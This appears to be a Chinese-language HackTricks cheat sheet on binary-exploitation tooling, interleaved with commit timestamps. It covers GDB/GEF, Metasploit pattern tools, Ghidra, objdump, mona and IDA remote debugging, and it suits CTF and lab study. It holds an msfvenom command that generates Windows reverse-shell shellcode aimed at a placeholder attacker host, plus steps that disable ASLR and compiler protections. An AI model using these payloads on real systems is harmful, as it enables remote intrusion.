2024-03-28 08:46:47 +00:00
# 漏洞利用工具
2022-04-28 16:01:33 +00:00
< details >
2024-02-05 03:17:45 +00:00
< summary > < strong > 从零开始学习AWS黑客技术, 成为专家< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS红队专家) < / strong > < / a > < strong > ! < / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-03-28 08:46:47 +00:00
支持HackTricks的其他方式:
2022-04-28 16:01:33 +00:00
2024-02-05 03:17:45 +00:00
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
2024-03-28 08:46:47 +00:00
* **加入** 💬 [**Discord群组** ](https://discord.gg/hRep4RUj7f ) 或 [**电报群组** ](https://t.me/peass ) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**。**
2024-02-05 03:17:45 +00:00
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
< / details >
2024-03-28 08:46:47 +00:00
## Metasploit
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
2024-03-28 08:46:47 +00:00
### Shellcodes
2020-07-15 15:43:14 +00:00
2024-03-28 08:46:47 +00:00
Shellcode是一种用于利用软件漏洞的小型二进制代码。通常用于利用缓冲区溢出漏洞, 通过向受影响的程序注入恶意代码来实现攻击。Shellcode通常以十六进制格式编写, 目的是执行特定的操作, 如提权、执行命令等。
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
msfvenom /p windows/shell_reverse_tcp LHOST=< IP > LPORT=< PORT > [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
2024-03-28 08:46:47 +00:00
## GDB
2020-07-15 15:43:14 +00:00
2024-03-28 08:46:47 +00:00
### 安装
2023-08-03 19:12:22 +00:00
```
apt-get install gdb
```
2024-03-28 08:46:47 +00:00
### 参数
2021-09-24 22:54:24 +00:00
```bash
2024-03-28 08:46:47 +00:00
-q # No show banner
-x < file > # Auto-execute GDB instructions from here
-p < pid > # Attach to process
```
### 说明
```bash
run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit
# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process
# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del < NUM > # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes
# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate
# x/examine
examine/< num > < o / x / d / u / t / i / s / c > < b / h / w / g > dir_mem/reg/puntero # Shows content of < num > in < octal / hexa / decimal / unsigned / bin / instruction / ascii / char > where each entry is a < Byte / half word ( 2B ) / Word ( 4B ) / Giant word ( 8B ) >
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw & pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP
```
### [GEF](https://github.com/hugsy/gef)
```bash
help memory # Get help on memory command
canary # Search for canary value in memory
2021-09-24 22:54:24 +00:00
checksec #Check protections
2021-09-24 22:58:16 +00:00
p system #Find system function address
2021-09-24 22:54:24 +00:00
search-pattern "/bin/sh" #Search in the process memory
2021-09-24 22:58:16 +00:00
vmmap #Get memory mappings
2024-03-28 08:46:47 +00:00
xinfo < addr > # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table
2021-09-24 22:54:24 +00:00
2024-03-28 08:46:47 +00:00
# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap
2020-07-15 15:43:14 +00:00
2021-09-24 22:54:24 +00:00
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
2021-09-26 22:36:48 +00:00
2024-03-28 08:46:47 +00:00
#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61
2021-09-26 22:36:48 +00:00
#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤ i f
Stack level 0, frame at 0x7fffffffddd0:
2023-08-03 19:12:22 +00:00
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
2021-09-26 22:36:48 +00:00
gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
2021-09-24 22:54:24 +00:00
```
2024-03-28 08:46:47 +00:00
### 技巧
2020-07-15 15:43:14 +00:00
2024-03-28 08:46:47 +00:00
#### GDB相同地址
2021-09-25 16:33:43 +00:00
2024-03-28 08:46:47 +00:00
在调试时, GDB的地址会**与执行时二进制文件使用的地址略有不同**。您可以通过以下步骤使GDB具有相同的地址:
2021-09-25 16:33:43 +00:00
2024-02-05 03:17:45 +00:00
- `unset env LINES`
- `unset env COLUMNS`
- `set env _=<path>` _将二进制文件的绝对路径放在这里_
- 使用相同的绝对路径利用二进制文件
- 使用GDB和利用二进制文件时, `PWD`和`OLDPWD`必须相同
2021-09-25 16:33:43 +00:00
2024-03-28 08:46:47 +00:00
#### 回溯以查找调用的函数
2021-09-25 16:33:43 +00:00
2024-03-28 08:46:47 +00:00
当您有一个**静态链接的二进制文件**时,所有函数将属于该二进制文件(而不是外部库)。在这种情况下,**识别二进制文件遵循的流程以便例如请求用户输入**将会很困难。\
您可以通过使用**gdb**运行二进制文件直到要求输入时,停止它并使用**`bt`**( **backtrace**)命令查看调用的函数:
2021-10-18 11:21:18 +00:00
```
2021-09-25 16:33:43 +00:00
gef➤ bt
#0 0x00000000004498ae in ?? ()
#1 0x0000000000400b90 in ?? ()
#2 0x0000000000400c1d in ?? ()
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
```
2024-03-28 08:46:47 +00:00
### GDB 服务器
2021-09-25 16:33:43 +00:00
2024-02-05 03:17:45 +00:00
`gdbserver --multi 0.0.0.0:23947` ( 在IDA中, 您必须填写Linux机器和Windows机器中可执行文件的绝对路径)
2020-07-15 15:43:14 +00:00
2024-03-28 08:46:47 +00:00
## Ghidra
2021-09-26 22:36:48 +00:00
2024-03-28 08:46:47 +00:00
### 查找堆栈偏移
2021-09-26 22:36:48 +00:00
2024-02-05 03:17:45 +00:00
**Ghidra** 对于查找**缓冲区溢出的偏移**非常有用,因为它提供了关于本地变量位置的信息。\
例如,在下面的示例中,`local_bc` 中的缓冲区溢出表明您需要一个偏移量为 `0xbc` 。此外,如果 `local_10` 是一个 canary cookie, 则从 `local_bc` 覆盖它需要一个偏移量为 `0xac` 。\
_请记住, 保存 RIP 的第一个 0x08 属于 RBP。_
2021-09-26 22:36:48 +00:00
2021-10-18 11:21:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 616 ) . png > )
2021-09-26 22:36:48 +00:00
2024-03-28 08:46:47 +00:00
## GCC
2020-07-15 15:43:14 +00:00
2024-02-05 03:17:45 +00:00
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 无保护编译\
2023-08-03 19:12:22 +00:00
**-o** --> 输出\
2024-02-05 03:17:45 +00:00
**-g** --> 保存代码( GDB 可以查看)\
2023-08-03 19:12:22 +00:00
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> 在Linux中禁用ASLR
2020-07-15 15:43:14 +00:00
2024-02-05 03:17:45 +00:00
**编译 shellcode:**\
2023-08-03 19:12:22 +00:00
**nasm -f elf assembly.asm** --> 返回“.o”\
**ld assembly.o -o shellcodeout** --> 可执行文件
2020-07-15 15:43:14 +00:00
2024-03-28 08:46:47 +00:00
## Objdump
2020-07-15 15:43:14 +00:00
2024-02-05 03:17:45 +00:00
**-d** --> 反汇编可执行文件的**部分**(查看编译后的 shellcode 的操作码,查找 ROP Gadgets, 查找函数地址...) \
**-Mintel** --> **Intel** 语法\
2023-08-03 19:12:22 +00:00
**-t** --> **符号**表\
2024-02-05 03:17:45 +00:00
**-D** --> **反汇编所有** (静态变量的地址)\
**-s -j .dtors** --> dtors 部分\
**-s -j .got** --> got 部分\
\-D -s -j .plt --> **plt** 部分 **反编译** \
**ojdump -t --dynamic-relo ./exec | grep puts** --> 要在 GOT 中修改的 "puts" 地址\
**objdump -D ./exec | grep "VAR\_NAME"** --> 静态变量的地址(这些存储在 DATA 部分)。
2020-07-15 15:43:14 +00:00
2024-03-28 08:46:47 +00:00
## Core dumps
2020-07-15 15:43:14 +00:00
2024-02-05 03:17:45 +00:00
1. 在启动程序之前运行 `ulimit -c unlimited`
2. 运行 `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. `sudo gdb --core=\<path/core> --quiet`
2020-07-15 15:43:14 +00:00
2024-03-28 08:46:47 +00:00
## 更多
2020-07-15 15:43:14 +00:00
2024-02-05 03:17:45 +00:00
**ldd executable | grep libc.so.6** --> 地址(如果启用 ASLR, 则每次都会更改) \
2023-08-03 19:12:22 +00:00
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> 循环查看地址是否经常更改\
2024-02-05 03:17:45 +00:00
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system" 的偏移\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" 的偏移
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
**strace executable** --> 可执行文件调用的函数\
**rabin2 -i ejecutable -->** 所有函数的地址
2020-07-15 15:43:14 +00:00
2024-03-28 08:46:47 +00:00
## **Inmunity debugger**
2021-09-24 22:54:24 +00:00
```bash
2020-07-15 15:43:14 +00:00
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
```
2024-03-28 08:46:47 +00:00
## IDA
2020-07-15 15:43:14 +00:00
2024-03-28 08:46:47 +00:00
### 在远程 Linux 中进行调试
2020-07-15 15:43:14 +00:00
2024-03-28 08:46:47 +00:00
在 IDA 文件夹中,您可以找到可用于在 Linux 中调试二进制文件的二进制文件。要这样做,请将 _linux\_server_ 或 _linux\_server64_ 二进制文件移动到 Linux 服务器中,并在包含该二进制文件的文件夹中运行它:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
./linux_server64 -Ppass
```
2024-03-28 08:46:47 +00:00
然后, 配置调试器: 调试器( linux 远程)--> 进程选项...:
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 101 ) . png > )
2022-04-28 16:01:33 +00:00
< details >
2024-03-28 08:46:47 +00:00
< summary > < strong > 从零开始学习 AWS 黑客技术,成为专家< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS 红队专家)< / strong > < / a > < strong > ! < / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-03-28 08:46:47 +00:00
支持 HackTricks 的其他方式:
2022-04-28 16:01:33 +00:00
2024-03-28 08:46:47 +00:00
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组** ](https://discord.gg/hRep4RUj7f ) 或 [**电报群组** ](https://t.me/peass ) 或在 **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )** 上关注我们**。
* 通过向 [**HackTricks** ](https://github.com/carlospolop/hacktricks ) 和 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github 仓库提交 PR 来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
< / details >